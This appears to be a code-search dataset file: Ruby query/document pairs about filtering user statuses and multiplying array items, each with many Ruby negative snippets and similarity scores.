[ "0.6106398", "0.6106398", "0.58392364", "0.58054274", "0.57133013", "0.56105644", "0.5574149", "0.55462873", "0.5524836", "0.54270494", "0.53907883", "0.53907883", "0.5388198", "0.5381796", "0.53787225", "0.536987", "0.53620875", "0.53533983", "0.5351881", "0.5323067", "0.53159493", "0.5261124", "0.5240087", "0.5238224", "0.5234014", "0.52198267", "0.52195996", "0.52170444", "0.5191134", "0.5185076", "0.5174611", "0.51704466", "0.51699334", "0.51699334", "0.5165537", "0.5165537", "0.5165537", "0.5165537", "0.5160237", "0.51496416", "0.51469904", "0.5140603", "0.5137047", "0.5133878", "0.5123672", "0.5119139", "0.5108326", "0.510787", "0.5105227", "0.51023436", "0.5094235", "0.50833577", "0.5080625", "0.5080625", "0.5077043", "0.5074461", "0.50632656", "0.506087", "0.50541073", "0.5045403", "0.5033375", "0.5025464", "0.5023148", "0.50114137", "0.5009548", "0.5008592", "0.50075287", "0.5006908", "0.50010544", "0.4998743", "0.49981225", "0.4993251", "0.49814388", "0.49795598", "0.49735343", "0.49720186", "0.49715447", "0.49710596", "0.49694756", "0.4951425", "0.49500263", "0.49470326", "0.49470204", "0.4944993", "0.49433035", "0.49427977", "0.49425825", "0.4940527", "0.49393082", "0.49351883", "0.49351493", "0.49344528", "0.49279323", "0.49275923", "0.4925371", "0.4925371", "0.49237254", "0.4923537", "0.49227995", "0.49218976", "0.49156865" ]
0.0
-1
Returns array with user status exclude replyes
def statuses_array(count = 1) statuses(count).map { |s| s['text'] }.delete_if { |status| status =~ /^\@/} end
{ "objective": { "self": [], "paired": [], "triplet": [ [ "query", "document", "negatives" ] ] } }
[ "def unanswered_questions\n Question.all.reject do |question|\n responsers_id = question.responses.pluck(:user_id)\n responsers_id.include?(self.id)\n end\n end", "def get_non_friends\n\n userFriends = self.all_friends\n userNotFriends = User.all_except(userFriends)\n\n #user is not friend of himself, next line break do this\n userNotFriends = userNotFriends.all_except(self)\n\n return userNotFriends\n end", "def get_unread(user)\n list = []\n if unread?(user)\n list.push(self)\n end\n public_replies(user).unread_by(user).each do |reply|\n list.push(reply)\n end\n list\n end", "def get_tournament_attendees(status)\n list = self.tournament_attendees.to_a(); #record of user attedance\n list.reject! { |i| i.tournament.status != GlobalConstants::TOURNAMENT_STATUS[status] }\n return list;\n end", "def candidates_forwarded_or_rejected\n users.where('users.status <> :us AND user_campaigns.status in (:cs)', us: USER_STATUS_DELETED, cs: [USER_CAMPAIGN_STATUS_FORWARDED, USER_CAMPAIGN_STATUS_REJECTED])\n end", "def users_not_responding\n # subscriptions_user_ids = self.plan_subscriptions.map {|subscription| subscription.user.id }\n subscribers_user_ids = subscribers.pluck(:id) #subscribers.map {|user| user.id }\n return group.users if subscribers_user_ids.empty?\n group.users.where('id NOT IN (?)',subscribers_user_ids)\n end", "def friendable_users\n User.all.where.not('id IN (?)', [id] + friends.ids +\n friend_requests_sent.pending.pluck(:receiver_id) + friend_requests_received.pending.pluck(:sender_id))\n end", "def get_unviewed_ids(user); end", "def unseen\n messages = current_user.received_messages.where(seen: false)\n render json: messages\n end", "def get_unanswered_questions_for_user(user)\n raise 'user is nil' if user.nil?\n \n # Get questions the user has answered.\n user_answered_questions = QuestionResponse.where(:user_id => user.id).map(&:question)\n \n # Subtract those from the full set of questions to get the set of any that\n # have not been answered.\n questions - user_answered_questions\n end", "def friend_requests\n @user_fr.inverse_friendships.map { |friendship| friendship.user unless friendship.confirmed }.compact\n end", "def candidates_applied\n users.where('users.status <> :s', s: USER_STATUS_DELETED)\n end", "def responders\n return [] if self.responder_ids.blank?\n User.find(self.responder_ids.flatten - [self.user_id]) # don't include author\n end", "def invited_users\n user_state.select { |user, state| state == :invited }.keys\n end", "def members_not_responding\n memb = sent_messages.map { |sm| (sm.msg_status || -1) < MessagesHelper::MsgDelivered ? sm.member : nil }.compact\n end", "def inactive_reviewers\n unless @results_with_inactive_users\n @results_with_inactive_users =\n self.design_review_results.select { |drr| drr.reviewer && !drr.reviewer.active? }\n end\n @results_with_inactive_users.collect { |drr| drr.reviewer }\n end", "def friend_requests\n inverse_friendships.map { |friendship| friendship.user unless friendship.confirmed }.compact\n end", "def friend_requests\n inverse_friendships.map { |friendship| friendship.user unless friendship.confirmed }.compact\n end", "def not_my_friend\n # one array of all users\n all_users = User.all\n # one array of just my friends \n all_of_my_freinds = self.friendees\n \n # compare arrays\n not_friends = all_users - all_of_my_freinds\n\n not_friends.select {|user| user != self}\nend", "def watch_comment_by_user_ids\n self.watch_comment_by_user_actions.where(\"action_option is null or action_option != ?\", \"ignore\").pluck(:user_id)\n end", "def get_tradelines_except(user_id)\n filtered_tradelines = []\n\n trade_lines.each do |x|\n if x.inventory_own.user_id != user_id\n filtered_tradelines << x\n end\n end\n return filtered_tradelines \n end", "def pending_friends\n inverse_friendships.map{ |fs| fs.user unless fs.accepted? }.compact\n end", "def results_with_inactive_users\n self.inactive_reviewers unless @results_with_inactive_users\n @results_with_inactive_users\n end", "def unmoderated\n where :awaiting_moderation => true\n end", "def excludeuser(value)\n merge(rvexcludeuser: value.to_s)\n end", "def pending_followers\n partners = [].concat(current_user.followers, current_user.followed_users).map(&:id)\n User.all.reject { |user| current_user.id == user.id || user.id.in?(partners) }\nend", "def teacher_requests\n @teachers = User.where(\"teacher_status_cd IS NOT NULL\")\n end", "def members_not_paid_tithe\n members.where.not(id: payments.completed.where(goal: 'tithe', payment_at: Time.current.beginning_of_month..Time.current).pluck(:user_id))\n end", "def members_without(user)\n (members - [user]).compact\n end", "def notators\n find_related_frbr_objects( :is_notated_by, :which_roles?) \n end", "def visible_users\n User.where.not(type: :AutotestUser)\n end", "def not_friends\n #TODO - get a better implementation of this\n not_me = User.all.includes(:friends).where.not(id: self.id).limit(50)\n not_my_friends = not_me.select{|user| !self.friends.exists?(user.id)}\n not_my_friends\n end", "def nonmembered_groups(user)\n (LogicalAuthz::group_model.all - user.groups).map { |g| [ g.name, g.id ] }\n end", "def suggestions\n @users = User.all.to_ary.select { |user| user != current_user &&\n !current_user.to_fr_ids.include?(user.id) &&\n !current_user.friends.include?(user) &&\n !current_user.from_fr_ids.include?(user.id)\n }\n @requests = current_user.received_friend_requests\n end", "def participants_removed # :nodoc:\n @properties[REMOVED].map { |id| @context.users[id] }\n end", "def friend_requests\n inverse_friendships.map{|friendship| friendship.user if !friendship.confirmed}.compact\n end", "def get_unissued_invites()\n User.find(session[:user_id]).unissued_invites\n end", "def all_commenters_except(user)\n commenters = self.all_commenters\n commenters.delete_if { |commenter| commenter == user }\n end", "def banned_users\n @banned_users = Array.new\n User.all.each do |f|\n if(f.banned)\n @banned_users << {'banned_user' => User.find(f.id)}\n end\n end\n end", "def search_requests_by_user(user)\n result= Array.new(@search_requests.values)\n result.delete_if { |search_request| search_request.user != user }\n result\n end", "def notified_watchers\n notified = (watcher_users.active + watcher_users_through_groups.active).uniq\n notified.reject! {|user| user.mail.blank? || user.mail_notification == 'none'}\n if respond_to?(:visible?)\n notified.reject! {|user| !visible?(user)}\n end\n notified\n end", "def notify_users\n ([requested_by, owned_by] + notes.map(&:user)).compact.uniq\n end", "def pending_friends\n friendships.map { |friendship| friendship.friend unless friendship.confirmed }.compact\n end", "def pending_friends\n friendships.map { |friendship| friendship.friend unless friendship.confirmed }.compact\n end", "def get_uncommitted_passengers\n erg = []\n self.passengers.all.each do |p|\n if !p.confirmed then\n erg << p.user\n end\n end\n return erg\n end", "def users(except_for = nil)\n return @users if except_for.nil?\n @users - [except_for]\n end", "def engaged_users\n self.users.select { |u| u.ideas.count > 0 || u.comments.count > 0 || u.votes.count > 0 || u.support_messages.count > 0 }\n end", "def user_ids_who_liked_status(id)\n\t\tHTTP.get(\"https://twitter.com/i/activity/favorited_popup?id=#{id}\").body.to_s.scan(/data-user-id=\\\\\"(\\d+)/).flatten.uniq\n\tend", "def unread_unsent_notifications\n @unread_unsent_notifications ||= notification.class.for_target(notification.target)\n .joins(:deliveries)\n .where.not(id: notification.id)\n .where('notify_user_notifications.read_at IS NULL AND notify_user_deliveries.sent_at IS NULL')\n end", "def excludeuser(value)\n merge(grcexcludeuser: value.to_s)\n end", "def unreviewed_comments\n comments.select {|comment| comment.approved.nil? }\n end", "def exclude_retweets\n @skip_retweets = true\n end", "def exclude_retweets\n @skip_retweets = true\n end", "def exclude_retweets\n @skip_retweets = true\n end", "def index\n @users = current_user.requesters.where('requests.accepted = ?', false)\n end", "def user_candidates_for_reminder\n states = ['submitted', 'under_review', 'reviewed', 'scheduled', 'received',\n 'receiving', 'inactive'] # NOT draft, closed or cancelled\n user_ids = Offer.where(state: states).distinct.pluck(:created_by_id)\n User.joins(subscriptions: [:message]).\n where('users.id IN (?)', user_ids).\n where(\"COALESCE(users.sms_reminder_sent_at, users.created_at) < (?)\", delta.iso8601).\n where('subscriptions.state': 'unread').\n where(\"messages.created_at > COALESCE(users.sms_reminder_sent_at, users.created_at)\").\n where('messages.sender_id != users.id').\n distinct\n end", "def ignored?\n self.friendship_status == IGNORED\n end", "def candidates_forwarded\n users.where('users.status <> :us AND user_campaigns.status = :cs', us: USER_STATUS_DELETED, cs: USER_CAMPAIGN_STATUS_FORWARDED)\n end", "def index\n @bookings = current_user.bookings.where.not('is_canceled')\n end", "def notified_users\n notified = []\n\n # Author and auditors are always notified unless they have been\n # locked or don't want to be notified\n notified << user if user\n\n notified += auditor_users\n\n # Only notify active users\n notified = notified.select { |u| u.active? }\n\n notified.uniq!\n\n notified\n end", "def eligible_owners\n User.where('users.id != ?', @cookbook.user_id)\n end", "def excludeuser(value)\n merge(gadrexcludeuser: value.to_s)\n end", "def users_who_completed_all_studies\n @downloaded_studies = Study.find(self.study_ids)\n\n user_arr = []\n @downloaded_studies.each do |study|\n user_arr.push(study.study_completions.pluck(:user_id).uniq)\n end\n\n ## SELECT THE COMMON VALUES OF ALL INTERIOR ARRAYS\n user_ids_and_nil = user_arr.reduce { |a, b| a & b }\n\n\n ## THIS COMMAND GETS RID OF ALL LOGGED OUT USER SURVEY DATA -- could be interesting to see if its use can dry up code\n user_ids_who_completed_all_studies = user_ids_and_nil.grep(Integer)\n\n user_ids_who_completed_all_studies\n end", "def receives_emails_for\n recips = user.things_i_track.email_delivery.tracked_item_is_user.map(&:tracked_item_id)\n recips = User.find(:all, :conditions => {:id => recips}) unless recips.blank?\n return recips.uniq.select {|u| user.is_self_or_owner?(u)}\n end", "def pending_friends\n @user_fr.friendships.map { |friendship| friendship.friend unless friendship.confirmed }.compact\n end", "def pending_sent_friend_requests\n friend_uids = []\n friend_uids = friend_uids + self.sent_friend_requests.pluck(:reciever_uid)\n return User.where(:uid => friend_uids)\nend", "def index\n\n @users_with_conversation = []\n @messages = Message.where(receiver_id: params[:user_id]).reverse_order\n @new_messages = @messages.where(unread: true)\n @messages.each do |message|\n unless @users_with_conversation.include?(message.sender)\n @users_with_conversation.push(message.sender)\n end\n end\n @messages = Message.all\n end", "def people(convo)\n @recipients = convo.conversation.users.where('user_id <> ?', current_user)\n end", "def unassigned_approvers_for_contract(contract)\n\n # todo: shouldnt have to use select here... theres a better way\n user_ids = contract.approver_users.map {|user| user.id}\n self.approver_users.select {|user| !user_ids.include?(user.id)}\n\n end", "def unsent\n @unsent = []\n\n self.tweets.each do |tweet|\n if tweet.used == false\n @unsent.push(tweet)\n else\n next\n end\n\n end\n return @unsent\n end", "def valid_users\n msg = Message.new\n msg.result = false\n ids = Department.find_by_id(params[:id]).users.pluck(:id)\n if ids.count > 0\n\n else\n ids = 0\n end\n @users = User.where(\"role_id != ? AND id NOT IN (?)\",100,ids)\n msg.result = true\n msg.content = @users\n render :json => msg\n end", "def pending_recieved_friend_requests\n friend_uids = []\n friend_uids = friend_uids + self.received_friend_requests.pluck(:sender_uid)\n return User.where(:uid => friend_uids)\nend", "def denied\n @denied_users = User.where(isDenied:true).where(isApproved:false).paginate(:page => params[:denied_users_page], :per_page => 10)\n end", "def non_registered_ad_users\n all_active_directory_users.select{|user| user.non_registered?}\n end", "def blocked_user_ids\n Rails.cache.fetch(\"blocked_user_ids_#{id}\", expires_in: 1.month.from_now) do\n blocked_users_relationships.pluck(:user_id)\n end\n end", "def ego_net_retweets\n retweets = []\n self.retweet_ids.each do |retweet| \n begin\n if Person.find_by_username(retweet[:person]).friends_ids.include?(self.person.twitter_id) \n retweets << retweet\n end\n rescue\n end \n end\n return retweets\n end", "def can_receive_updates\n @user = User.where(email: params[:email])\n params[:message]\n if @user.present?\n render json: @user.unblocked_subscribers.page(params[:page]).per(params[:per_page]).distinct\n else\n render json: {message: 'User Not Found'}, status: 404\n end\n end", "def recieved_requests_users\n recieved_requests.map(&:user)\n end", "def antiuser(user)\n users.where(['users.id <> ?', user.id]).first\n end", "def transferrable_to_users\n collaborator_users.where.not(id: user_id)\n end", "def only_followers\n followers.where.not(id: friends)\n end", "def non_existent_notifications\n source_project.notification_settings\n .select(:id)\n .where.not(user_id: users_in_target_project)\n end", "def users_with_pending_input\n users_with_pending_days = []\n self.users.each do |user|\n users_with_pending_days << user if user.pending_input?\n end\n users_with_pending_days\n end", "def members_without_admins\r\n self.members.values.select { |member| !self.is_admin?(member) }\r\n end", "def friends_array(threads, user)\n friends = []\n threads.each do |t|\n if t['to'] && t['to']['data']\n t['to']['data'].each do |d|\n if d['id'] != user\n friends.push d\n end\n end\n end\n end\n friends.uniq{|e| e['id']}\n end", "def users_not_on_project\n User.find(:all) - self.users\n end", "def other_participants(user)\n all = recipients\n all.delete(user)\n all.delete(nil) # nil will appear when any of the user in the coversation is deleted later.\n all\n end", "def find_not_following(handle, limit = 10)\n not_followed = []\n followed = User.where(handle: handle).first.following\n followed << handle\n User.not_in(handle: followed).limit(limit).each {|u| not_followed << u.handle}\n return not_followed\n end", "def get_notifications\n \t\n \t@notifs = []\n\n \tif current_user\n @notifs = Notification.where(:user_id => current_user.id, :seen => false)\n \tend\n end", "def get_unrated_items(user)\n items = []\n\n Item.all.each do |item|\n review = Review.where(user_id: user.id, item_id: item.id).first\n if not review\n items.push item\n end\n end\n\n items\n end", "def find_unregistered_guests(id)\r\n @unreg_guests = []\r\n PrivateInvite.find_all_by_private_event_id(@event.id).each do |g|\r\n if !User.find_by_email(g.email)\r\n @unreg_guests << g.email\r\n end\r\n end\r\n @unreg_guests \r\n end", "def get_users_on_flight_reject_requester\n\n\t\t# Then query saved journeys using the 'purchased_flight' identifier\n\t\t# for a list of the the other user id's who are on the flight\n\t\t# \n\t\t# Remove the queryer from the list and remove sensetive information\n\t\t# \n\t\t# Done. Return our model list\n\n\t\tjourney_id = params[\"journeyId\"]\n\t\tuser_id = params[\"userId\"]\n\n\t\tuser_list = User.on_journey(journey_id).reject{ |s| s.id == user_id }\n\n\t\trender json: user_list.as_json(only: [:id, :first_name, :last_name, :email]), status: 200\n\n\tend", "def eligible_collaborators\n ineligible_users = [@cookbook.collaborators, @cookbook.owner].flatten\n User.where('users.id NOT IN (?)', ineligible_users)\n end", "def banned_user_ids\n Rails.cache.fetch('banned-user-ids', expires_in: 1.week) do\n User.banned.pluck(:id)\n end\n end", "def messages\n Message\n .where(\"messages.user_id = :user OR messages.recipient_id = :user\", user: id)\n .where.not(\"messages.recipient_id = :user AND messages.status = :status\", user: id, status: 0)\n .where.not(\"messages.recipient_id = :user AND messages.status = :status\", user: id, status: 4)\n .includes(:permissions).order(\"permissions.created_at DESC\")\n end", "def follow_suggest\n User.all_but(self).map { |usr| usr unless following?(usr) }.compact\n end", "def not_visitors\n User.all - self.users\n end", "def watch_comment_by_user_ids\n user_ids = watch_comment_by_user_actions.where(\"action_option is null or action_option != ?\", \"ignore\").pluck(:user_id)\n user_ids += repository.watch_by_user_ids\n user_ids.uniq!\n\n user_ids - unwatch_comment_by_user_ids\n end", "def get_replies_only\n self.comments.includes(:user).where.not(parent_comment_id: nil)\n end", "def ignore\n users = User.where(username: [params[:username], params[:other_username]])\n raise Discourse::InvalidParameters.new if users.size != 2\n\n DiscourseFingerprint.ignore(users[0], users[1], add: params[:remove].blank?)\n DiscourseFingerprint.ignore(users[1], users[0], add: params[:remove].blank?)\n\n render json: success_json\n end", "def pending_friends\n friendships.map{|friendship| friendship.friend if !friendship.confirmed}.compact\n end" ]
[ "0.6449606", "0.6381133", "0.62619597", "0.62606084", "0.62305874", "0.61772585", "0.6160889", "0.6150628", "0.6144868", "0.6128897", "0.60921204", "0.6057441", "0.60455644", "0.603976", "0.6034954", "0.60339475", "0.60262406", "0.60262406", "0.6016571", "0.6006711", "0.59264636", "0.5925759", "0.59169453", "0.591117", "0.5886661", "0.58636206", "0.58319646", "0.58248013", "0.581707", "0.58112293", "0.5807447", "0.5776035", "0.5775517", "0.5770686", "0.5749282", "0.57391137", "0.5739103", "0.57332605", "0.5730256", "0.5726144", "0.5717335", "0.571479", "0.5703391", "0.5703391", "0.5702731", "0.5681844", "0.5678057", "0.56762815", "0.5671814", "0.5669356", "0.56620264", "0.56586266", "0.56586266", "0.56586266", "0.56567365", "0.56529856", "0.5643772", "0.5640927", "0.5631398", "0.56101984", "0.5607985", "0.56056744", "0.5593568", "0.55867255", "0.5586526", "0.55847496", "0.55831623", "0.55808026", "0.55762166", "0.55737126", "0.5570676", "0.5568724", "0.5563318", "0.5560427", "0.5560091", "0.5558642", "0.5552998", "0.55507886", "0.5544437", "0.55443424", "0.5543701", "0.5542523", "0.5540133", "0.5535452", "0.5534979", "0.5530907", "0.5527004", "0.5523053", "0.552263", "0.55210775", "0.552092", "0.5513268", "0.54977673", "0.54895526", "0.5480247", "0.5479365", "0.5478124", "0.5477062", "0.5472986", "0.546769", "0.5464789" ]
0.0
-1
multiply all items by 2
def multiply_by_two(array) # double_numbers = [] # array.each do |number| # double_numbers << number * 2 # end # double_numbers array.map { |number| number * 2 } end
{ "objective": { "self": [], "paired": [], "triplet": [ [ "query", "document", "negatives" ] ] } }
[ "def multiply(nums)\r\n nums.reduce(:*)\r\nend", "def multiplies (*args)\n multi=1\n args.each do |item|\n multi *=item\n end\n multi\nend", "def multiply_by_two(array)\n array.map { |n| n * 2 }\nend", "def multiply_by_2(input)\n output = []\n input.reverse!\n input.each_with_index do |value, index|\n if index % 2 == 0\n output << value * 2\n else\n output << value\n end\n end\n output.reverse!\n end", "def multiply\n inject(1) { |p,x| p * x }\n end", "def custom_multiply(array, number)\n result = []\n number.times { array.each { |element| result << element}}\n result\nend", "def multiply_each (array, product=1)\n array.each do |x|\n product *= x\n end\n return product\nend", "def multiply_els\n\t\tself.my_inject(:*, self[0])\n\tend", "def multiply(*input)\n\t\tinput.flatten.inject(:*)\n\tend", "def Multiply(val)\n self.value *= val\n end", "def multiply(array)\n array.inject(:*)\nend", "def *(multiplier)\n return map {|currency, money| money * multiplier}\n end", "def multiply\n yield 10\n yield 75\n yield 879\nend", "def multiply(*nums)\n return nums.reduce(:*)\nend", "def multiply_els(list)\n list.my_inject(1) { |product, i| product * i }\nend", "def array_times_two(array)\nend", "def mult(*args)\n\tprod = 1\n\targs.each do |arg|\n\t\tprod *= arg\n\tend\n\tprod\nend", "def multiply_list(array_1, array_2)\n result = []\n array_1.size.times do |index|\n result << array_1[index] * array_2[index]\n end\n result\nend", "def multiply(nb1,nb2)\n\treturn nb1*nb2\nend", "def multiply(array, num_two)\n array * num_two\nend", "def multiply(a, b)\r\n a * b\r\n end", "def multiply_me(array, int)\r\n\r\n arr = [] # empty array created\r\n\r\n i = 0 # iteration starts to multiply each item\r\n while i < array.length\r\n arr << array[i] * int # products collected\r\n i += 1\r\n end\r\n\r\n arr # result\r\nend", "def multiply_list(array1, array2)\n results = []\n n = 0\n\n array1.size.times do |num|\n results << array1[n]*array2[n]\n n += 1\n end\n\n results\nend", "def multiply_2(array)\n # [1,2,3,4] -> [4,3,2,1] -> [4,6,2,2] -> [2,2,6,4]\n array.reverse.map.with_index { |n, i| i.even? ? n : n * 2 }.reverse\n end", "def multiply(first, second)\n first * second\nend", "def multiply(data, n)\n data.collect { |x| x * n }\nend", "def mul(a, b)\n res = []\n res << a[0]*b[0] + a[1]*b[2]\n res << a[0]*b[1] + a[1]*b[3]\n res << a[2]*b[0] + a[3]*b[2]\n res << a[2]*b[1] + a[3]*b[3]\n res\nend", "def double(item)\n return item * 2\nend", "def multiply_els(elements)\n elements.my_inject(:*)\nend", "def custom_multiply(array, number)\n # Return a new array with the array that's passed in\n # as an argument multiplied by the number argument\n result = []\n number.times { array.each { |elem| result << elem } }\n result\nend", "def array_times_two!(array)\n array.map!{ |el| el *2}\n end", "def multiply_element(array)\n array.each do |x|\n x=x*x\n end\n end", "def multiply!(m)\n super().flip!\n end", "def multiply(m)\n t = super(m)\n t.flip!\n end", "def multiply(a, b)\nend", "def multiply (array)\n\tarray.inject(1) do |result, element|\n\t\tresult * element\n\tend\nend", "def multiply_list(arr1, arr2)\n new_arr = []\n arr1.size.times do |ind|\n new_arr << arr1[ind] * arr2[ind]\n end\n new_arr\nend", "def multiply_list(arr1, arr2)\r\nresult = []\r\ncounter = 0\r\n\r\narr1.length.times do |num|\r\n result << arr1[counter] * arr2[counter]\r\n counter += 1\r\nend\r\np result\r\nend", "def *(value)\n mul(value) ;\n end", "def multiply_list(array1, array2)\n result = []\n array1.each_index { |index| result << array1[index] * array2[index]}\n result\nend", "def double_it(numbers)\n numbers.map{|number| number * 2}\nend", "def multiply_by(array)\n return array.map { |el| el * 3}\nend", "def multiply(*nums)\n nums.reduce(1, :*)\nend", "def multiply(*all_args)\n all_args.inject(1) { |sum, value| sum *= value}\nend", "def multiply(num)\n product = 1\n num.each do |x|\n product *= x\n end\n product\nend", "def multiply_els(array)\n\tarray.inject(1) { |num, item| num * item }\n\nend", "def product\n reduce(1, &:*)\n end", "def multiply_list(arr1, arr2)\n results = []\n arr1.each_with_index do |item, index|\n results << item * arr2[index]\n end\n results\nend", "def multiply(*numbers)\n numbers.reduce(1, :*)\n end", "def multiply(first, second)\n first.send(:*, second)\nend", "def multiply(*multiplicands)\n multiplicands.flatten.inject(1, :*)\n end", "def multiply_list(array_1, array_2)\n results = []\n array_1.each_with_index {|num,idx| results << (num * array_2[idx])}\n results\nend", "def multiply(arr)\n arr.map { |i| i * 2 }\nend", "def pi_product\n self.inject{|a,b| a*b}\n end", "def multiply *array\n puts array.inspect\n array.flatten.inject(:*)\n end", "def multiply(a, b)\n\ta * b\nend", "def multiply(nums)\n\treturn 0 if nums == []\n\tnums.reduce(:*)\nend", "def double_all array\n array.map { |i| i*2 }\nend", "def multiply(a, b)\n\t\treturn a*b\n\tend", "def array_times_two(array)\n new_array = array.map{ |el| el * 2}\n end", "def multiply(*args) # multiple arguments\n array = args.to_a #convert to array\n array.reduce(:*)\nend", "def multiply\n match '*'\n factor\n emit_ln 'MULS (SP)+,D0'\nend", "def multiply(y)\n @x * y\n end", "def buy_fruit(list)\n list.map { |sub_arr| [sub_arr[0]] * sub_arr[1] }.flatten\nend", "def multiply_list(numbers1, numbers2)\n products = []\n numbers1.each_with_index do |num, ind|\n products << num * numbers2[ind]\n end\n products\nend", "def my_map_mult_two(arr)\n arr.map { |num| num * 2 }\nend", "def product(numbers)\n result = 1\n numbers.each do |number|\n result *= number\n end\n result\nend", "def product2(*nums)\n # reduce can take an optional argument for the \n # initial value. if not given, it will take \n # the first list element as the initial value\n nums.reduce(1) do |accumulator, num|\n # In reduce, on the first iteration\n # accumulator is the initial value,\n # 1 in this case\n accumulator * num\n # In the following iterations, accumulator\n # will be the result of the previous iteration\n end\nend", "def multiply(a, b)\n\treturn a.to_i * b.to_i\nend", "def multiply_list(arr1, arr2)\n arr1.zip(arr2).map { |arr| arr.inject(:*) }\nend", "def multiply_all_by(array, num)\n\n result = []\n array.each do |elem|\n result << elem * num\n end\n result\nend", "def multiply(a,b)\n a.to_i * b.to_i\nend", "def multiply_els\n my_inject do |x, y|\n x * y\n end\n end", "def multiply(a,b)\n\treturn a * b\nend", "def array_times_two!(array)\nend", "def multiply(*arr)\n\tproduct, i = 1, 0\n\n while i < arr.length\n \tproduct *= arr[i]\n \ti += 1\n end\n\n # could also just use reduce, just keeping fundamentals sharp\n product\nend", "def custom_multiply(array,number)\n new_array = []\n number.times {new_array+=array}\n return new_array\nend", "def multiply(numbers)\n numbers.inject { |sum, n| sum * n }\n end", "def multiply (a b)\r\n a * b\r\nend", "def multiply a,b\n a*b\nend", "def multiply_els(arr)\n\tarr.my_inject(1) do |res, i| \n\t\tres * i \n\tend\nend", "def times_two(nums)\n\tnums.map do |n|\n\t\tn * 2\n\tend\nend", "def multiply a, b, *array\n\ttotal = a * b\n\tremaining = array.length\n\ti = 0\n\twhile i < remaining\n\t\ttotal = total * array[i]\n\t\ti = i + 1\n\tend\n\ttotal\nend", "def multiply_list(arr1, arr2)\n arr1.zip(arr2).map{|sub_arr| sub_arr.inject(:*)}\nend", "def product\n if block_given?\n inject(1) { |a,b| a*(yield b) }\n else\n inject(1) { |a,b| a*b }\n end\n end", "def double_array(array)\n array*2\nend", "def multiply_list(arr1, arr2)\n [arr1, arr2].transpose.map do |pair|\n pair.reduce(:*)\n end\nend", "def multiply_list(array1, array2)\n new_array = []\n array1.count.times do \n new_array << (array1.pop) * (array2.pop)\n end\n new_array.reverse\nend", "def doubler(array)\n array.map do |num|\n num *= 2\n end\n\nend", "def multiply(n1, n2)\n return n1*n2\n end", "def multiply_list(array1, array2)\n result = []\n array1.each_with_index do |num, index|\n result.push(num * array2[index])\n end\n \nresult\n \n \n \nend", "def multiply(number1, number2)\n number1 * number2\n end", "def multiply_els(array)\n array.my_inject { |item, next_item| item * next_item }\nend", "def multiply(x, y)\n\tx * y\nend", "def __inner_product(other)\n\t\tt = 0\n\t\tsize.times do |k|\n\t\t\tt += __get(k) * other.__get(k)\n\t\tend\n\t\treturn t\n\tend", "def multiply_list(arry1, arry2)\n index = 0\n arry3 = []\n\n while index < arry1.length\n arry3 << arry1[index] * arry2[index]\n index += 1\n end\n arry3\nend", "def multiply(int1, int2)\r\n int1 * int2\r\nend", "def times\n\t\tif @operands.size>= 2\n\t\t\tnew_n = (@operands[-2] * @operands[-1])\n\t\t\[email protected](2)\n\t\t\[email protected] new_n\n\t\telse\n\t\t\traise \"calculator is empty\"\n\t\tend\n\tend", "def multiply_list(arr1, arr2)\n result = []\n\n arr1.each_with_index { |_, index| result << (arr1[index] * arr2[index]) }\n\n result\nend", "def multiply_all_pairs(list1, list2)\n list1.product(list2).map { |num1, num2| num1 * num2 }.sort\nend" ]
[ "0.709858", "0.7094807", "0.7051089", "0.70304954", "0.70152885", "0.69073623", "0.68978095", "0.6815643", "0.6787611", "0.67801255", "0.67723215", "0.67383015", "0.67371935", "0.67217594", "0.6680924", "0.6653526", "0.66512656", "0.66475266", "0.66442215", "0.6640112", "0.6623176", "0.66113544", "0.6596713", "0.6587352", "0.65695745", "0.6568059", "0.65486234", "0.6542904", "0.65349257", "0.65215254", "0.6521312", "0.65150285", "0.65149474", "0.64987457", "0.6494167", "0.6490673", "0.648039", "0.64718986", "0.6467062", "0.6459673", "0.6454464", "0.6451547", "0.64395875", "0.6428241", "0.6422237", "0.6416841", "0.64148027", "0.64141035", "0.64059097", "0.6405048", "0.6399317", "0.63957745", "0.6392791", "0.6390351", "0.6380929", "0.6374279", "0.6359541", "0.635816", "0.63475895", "0.6341333", "0.63391757", "0.63378364", "0.6331502", "0.6326304", "0.63252944", "0.632306", "0.6318911", "0.6317966", "0.63173896", "0.6311047", "0.6302103", "0.6297493", "0.62916166", "0.6290995", "0.62905115", "0.62904227", "0.6285641", "0.6281997", "0.6280779", "0.6278197", "0.62773436", "0.6276518", "0.62713736", "0.62700844", "0.6268271", "0.62675804", "0.6263875", "0.6260895", "0.625107", "0.6248209", "0.62461406", "0.62434494", "0.6240566", "0.624045", "0.6240267", "0.6237698", "0.6233682", "0.622811", "0.62273246", "0.62254703" ]
0.6793442
8
sum of all items
def sum_items(array) # total = 0 # array.each do |number| # total += number # end # total array.inject { |sum, num| sum + num } end
{ "objective": { "self": [], "paired": [], "triplet": [ [ "query", "document", "negatives" ] ] } }
[ "def sum\n only_with('sum', 'Numeric', 'String')\n items.compact.sum\n end", "def total_items\r\n\t\[email protected](0) { |sum, i| sum + i.quantity }\r\n\tend", "def sum\n self.reduce('lambda{|sum, item| sum + item}')\n end", "def item_total\n line_items.map(&:total).reduce(:+)\n end", "def total\n return (@listOfItem.inject(0){|sum,e| sum += e.total}).round_to(2)\n end", "def sum; end", "def sum\n self.inject(:+)\n end", "def sum\n\t\treturn self.reduce(:+)\n\tend", "def summ\n result = 0.0\n self.propose_items.each do |item|\n result += item.price\n end\n return result\n end", "def sums_all_elements(input)\n input.inject(:+)\n end", "def total_price\n items.map(&:price).sum\n end", "def total\n total = 0\n line_items.each do |line_item|\n total += line_item.item.price * line_item.quantity\n end\n total\n end", "def total(list)\n list.reduce(:+)\nend", "def total(a)\n\ta.reduce(:+)\nend", "def total_items\n line_items.sum(:quantity)\n end", "def total_items\n line_items.sum(:quantity)\n end", "def sum(list)\n\ttotal = 0\n list.each { |ele| total += ele }\n total\nend", "def total\n @total = 0\n @ordered_items.each do |item|\n @total += item[1]\n end\n return @total\n end", "def subtotal\n items.map(&:price).reduce(&:+)\n end", "def total(list)\n\n p list.reduce(:+)\n \nend", "def total\n roll_all.reduce(&:+)\n end", "def product_total\n\t\ttotal = 0\n\t\tself.items.each do |item|\n\t\t\ttotal += item.amount\n\t\tend\n\t\ttotal\n\tend", "def total_amount\n \t amount = 0\n \t operation_items.each do | oi |\n \t\tamount = amount + oi.amount\n end\n amount\n end", "def total_items\n\t\tline_items.sum(:quantity)\n\tend", "def sum\n reduce(0, &:+)\n end", "def total(list)\n\tsum = 0\n\tlist.each { |x| sum+=x }\nend", "def total\n sum = 0\n order_items.each do |order_item|\n if 